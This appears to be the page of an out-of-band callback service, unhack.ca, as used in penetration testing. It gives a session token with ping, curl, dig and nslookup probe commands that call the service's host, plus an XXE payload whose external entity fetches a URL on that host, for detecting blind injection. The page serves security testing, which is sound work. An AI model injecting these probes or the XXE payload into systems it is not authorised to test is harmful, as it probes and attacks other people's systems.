$ ping -c1 -p 0005662d3c7f2c56a4288ba3aa253000 unhack.ca
 
$ curl http://unhack.ca/p/05662d3c7f2c56a4288ba3aa2530
 
$ dig 05662d3c7f2c56a4288ba3aa2530 @unhack.ca
 
$ dig 05662d3c7f2c56a4288ba3aa2530.ns.unhack.ca
 
C:\> nslookup 05662d3c7f2c56a4288ba3aa2530 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/05662d3c7f2c56a4288ba3aa2530">]>
    <foo>&xxe;</foo>
Waiting for ping...